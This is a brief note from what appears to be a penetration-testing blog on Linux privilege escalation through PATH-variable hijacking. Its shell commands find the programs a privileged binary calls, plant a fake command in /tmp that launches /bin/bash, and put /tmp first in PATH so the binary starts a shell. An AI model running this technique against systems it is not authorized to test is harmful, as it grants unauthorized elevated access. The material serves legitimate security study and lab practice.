> For the complete documentation index, see [llms.txt](https://ed4m4s.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ed4m4s.blog/privilege-escalation/linux/path-variable.md).

# PATH Variable

### Execute PATH variable permission.&#x20;

```bash
# Get the strings command to get the runtime calls
strings /path/to/binary

# Create the executable within /tmp dir
echo "/bin/bash" > "command"

# Give executable permissions
chmod +x "command"

# Amend the PATH env
export PATH=/tmp:$PATH

# Execute it
It will trigger the one within /tmp we created.
```
